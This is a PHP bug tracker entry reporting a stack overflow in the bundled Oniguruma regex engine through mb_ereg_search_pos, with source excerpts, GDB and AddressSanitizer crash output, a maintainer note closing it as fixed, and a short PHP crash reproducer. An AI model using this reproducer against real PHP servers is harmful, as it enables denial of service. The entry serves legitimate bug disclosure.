php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72970 Buffer overflow at match_at through mb_ereg_search_pos
Submitted: 2016-08-29 23:41 UTC Modified: 2020-11-26 15:35 UTC
From: fernando at null-life dot com Assigned: cmb (profile)
Status: Closed Package: mbstring related
PHP Version: 5.6.25 OS: *
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-08-29 23:41 UTC] fernando at null-life dot com
Description:
------------
"match_at" function uses "alloca" to reserve memory, big patterns at "mb_ereg_search_pos" cause buffer overflow, and ilegal access memory.

Source code 
https://github.com/php/php-src/blob/PHP-5.6.25/ext/mbstring/oniguruma/regexec.c#L1237

static int
match_at(regex_t* reg, const UChar* str, const UChar* end,
#ifdef USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE
     const UChar* right_range,
#endif
     const UChar* sstart, UChar* sprev, OnigMatchArg* msa)
{
  static UChar FinishCode[] = { OP_FINISH };

  int i, n, num_mem, best_len, pop_level;
...
  STACK_INIT(alloca_base, n, INIT_MATCH_STACK_SIZE);
  pop_level = reg->stack_pop_level;
  num_mem = reg->num_mem;
  repeat_stk = (OnigStackIndex* )alloca_base;

  mem_start_stk = (OnigStackIndex* )(repeat_stk + reg->num_repeat);
  mem_end_stk   = mem_start_stk + num_mem;
  mem_start_stk--; /* for index start from 1,
              mem_start_stk[1]..mem_start_stk[num_mem] */
  mem_end_stk--;   /* for index start from 1,
              mem_end_stk[1]..mem_end_stk[num_mem] */
  for (i = 1; i <= num_mem; i++) {
    mem_start_stk[i] = mem_end_stk[i] = INVALID_STACK_INDEX;
  }
...

https://github.com/php/php-src/blob/PHP-5.6.25/ext/mbstring/oniguruma/regexec.c#L1237

#define STACK_INIT(alloc_addr, ptr_num, stack_num)  do {\
  if (msa->stack_p) {\
    alloc_addr = (char* )xalloca(sizeof(char*) * (ptr_num));\
    stk_alloc  = (OnigStackType* )(msa->stack_p);\
    stk_base   = stk_alloc;\
    stk        = stk_base;\
    stk_end    = stk_base + msa->stack_n;\
  }\
  else {\
    alloc_addr = (char* )xalloca(sizeof(char*) * (ptr_num)\
               + sizeof(OnigStackType) * (stack_num));\
    stk_alloc  = (OnigStackType* )(alloc_addr + sizeof(char*) * (ptr_num));\
    stk_base   = stk_alloc;\
    stk        = stk_base;\
    stk_end    = stk_base + (stack_num);\
  }\
} while(0)



GDB output:

gdb -q --args /home/operac/build3/bin/php poc.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build3/bin/php...done.
gdb-peda$ r
Starting program: /home/operac/build3/bin/php test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7
RBX: 0x1
RCX: 0x7ffffeff81a0
RDX: 0xc ('\x0c')
RSI: 0xffffe
RDI: 0x7fffff7f8190
RBP: 0x7fffffff9ea0 --> 0x7fffffffa0d0 --> 0x7fffffffa390 --> 0x7fffffffa430 --> 0x7fffffffa480 --> 0x7fffffffa6b0 (--> ...)
RSP: 0x7ffffeff81a0
RIP: 0xc3ab1e (<match_at+1470>: mov    QWORD PTR [rdi],0xffffffffffffffff)
R8 : 0xc280000128e --> 0x0
R9 : 0xfffffeff032 --> 0x0
R10: 0x0
R11: 0x7ffffeff81a0
R12: 0x7fffffff9e70 --> 0x7fffffff9eb0 --> 0x7fffffffa020 --> 0x0
R13: 0x7fffff7f8188
R14: 0x7fffed22f800 --> 0x230000134000130
R15: 0x7ffffeff8198
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xc3ab0c <match_at+1452>:    shr    r9,0x3
   0xc3ab10 <match_at+1456>:    cmp    BYTE PTR [r9+0x7fff8000],0x0
   0xc3ab18 <match_at+1464>:    jne    0xc57978 <match_at+119832>
=> 0xc3ab1e <match_at+1470>:    mov    QWORD PTR [rdi],0xffffffffffffffff
   0xc3ab25 <match_at+1477>:    mov    rdi,r11
   0xc3ab28 <match_at+1480>:    shr    rdi,0x3
   0xc3ab2c <match_at+1484>:    cmp    BYTE PTR [rdi+0x7fff8000],0x0
   0xc3ab33 <match_at+1491>:    jne    0xc57935 <match_at+119765>
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x7ffffeff81a0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000c3ab1e in match_at (reg=reg@entry=0x614000009440, str=str@entry=0x7fffef02f3a8 "Peter is a boy.", end=end@entry=0x7fffef02f3b7 "", right_range=right_range@entry=0x7fffef02f3b7 "",
    sstart=sstart@entry=0x7fffef02f3a8 "Peter is a boy.", sprev=<optimized out>, msa=0x7fffffffa020) at /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:1280
1280        mem_start_stk[i] = mem_end_stk[i] = INVALID_STACK_INDEX;
gdb-peda$ p mem_start_stk[i]
Cannot access memory at address 0x7ffffeff81a0           // Invalid memory access
gdb-peda$ p  mem_end_stk[i]
Cannot access memory at address 0x7fffff7f8190           // Invalid memory acess
gdb-peda$ p *reg
$1 = {
  p = 0x7fffed22f800 "0\001",
  used = 0x5ffff5,
  alloc = 0x7ffff0, 
  state = 0x0,
  num_mem = 0xffffe,                                   // Num of ()
  num_repeat = 0x0,
  num_null_check = 0x0,
  num_comb_exp_check = 0x0,
  num_call = 0x0,
  capture_history = 0x0,
  bt_mem_start = 0x0,
  bt_mem_end = 0x0,
  stack_pop_level = 0x0,
  repeat_range_alloc = 0x0,
  repeat_range = 0x0,
  enc = 0x27bf9a0 <OnigEncodingUTF8>,
  options = 0xc,
  syntax = 0x27b9500 <OnigSyntaxRuby>,
  case_fold_flag = 0x40000000,
  name_table = 0x0,
  optimize = 0x0,
  threshold_len = 0x0,
  anchor = 0x0,
  anchor_dmin = 0x0,
  anchor_dmax = 0x0,
  sub_anchor = 0x0,
  exact = 0x0,
  exact_end = 0x0,
  map = '\276' <repeats 256 times>,
  int_map = 0x0,
  int_map_backward = 0x0,
  dmin = 0xbebebebe,
  dmax = 0xbebebebe,
  chain = 0x0
}


Test script:
---------------
<?php

mb_ereg_search_init("Peter is a boy.");
$v1=str_repeat("()", 0xffffe);
mb_ereg_search_pos($v1);



Expected result:
----------------
No crash

Actual result:
--------------

=================================================================
==12511==ERROR: AddressSanitizer: SEGV on unknown address 0x7ffdbf0500e0 (pc 0x000000c3ab1e bp 0x7ffdbf851df0 sp 0x7ffdbe8500f0 T0)
    #0 0xc3ab1d in match_at /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:1280
    #1 0xc5e954 in onig_search /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:3634
    #2 0xdf983d in _php_mb_regex_ereg_search_exec /home/operac/php-src-56/php-src/ext/mbstring/php_mbregex.c:1228
    #3 0xdf983d in zif_mb_ereg_search_pos /home/operac/php-src-56/php-src/ext/mbstring/php_mbregex.c:1290
    #4 0x1d6bc67 in zend_do_fcall_common_helper_SPEC /home/operac/php-src-56/php-src/Zend/zend_vm_execute.h:558
    #5 0x1c1773c in execute_ex /home/operac/php-src-56/php-src/Zend/zend_vm_execute.h:363
    #6 0x195afda in zend_execute_scripts /home/operac/php-src-56/php-src/Zend/zend.c:1341
    #7 0x16a889f in php_execute_script /home/operac/php-src-56/php-src/main/main.c:2613
    #8 0x1d749ef in do_cli /home/operac/php-src-56/php-src/sapi/cli/php_cli.c:994
    #9 0x4551b0 in main /home/operac/php-src-56/php-src/sapi/cli/php_cli.c:1378
    #10 0x7f4aa5fb482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #11 0x455838 in _start (/home/operac/build3/bin/php+0x455838)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:1280 match_at

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-29 23:49 UTC] stas@php.net
-Type: Security +Type: Bug
 [2020-11-26 15:35 UTC] cmb@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: cmb
 [2020-11-26 15:35 UTC] cmb@php.net
This issue has been fixed in the meantime (at least for PHP 7.3;
oniguruma is unbundled as of PHP 7.4.0).  The script outputs now:

Warning: mb_ereg_search_pos(): mbregex compile err: too many captures in %s on line %d
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 13:01:29 2024 UTC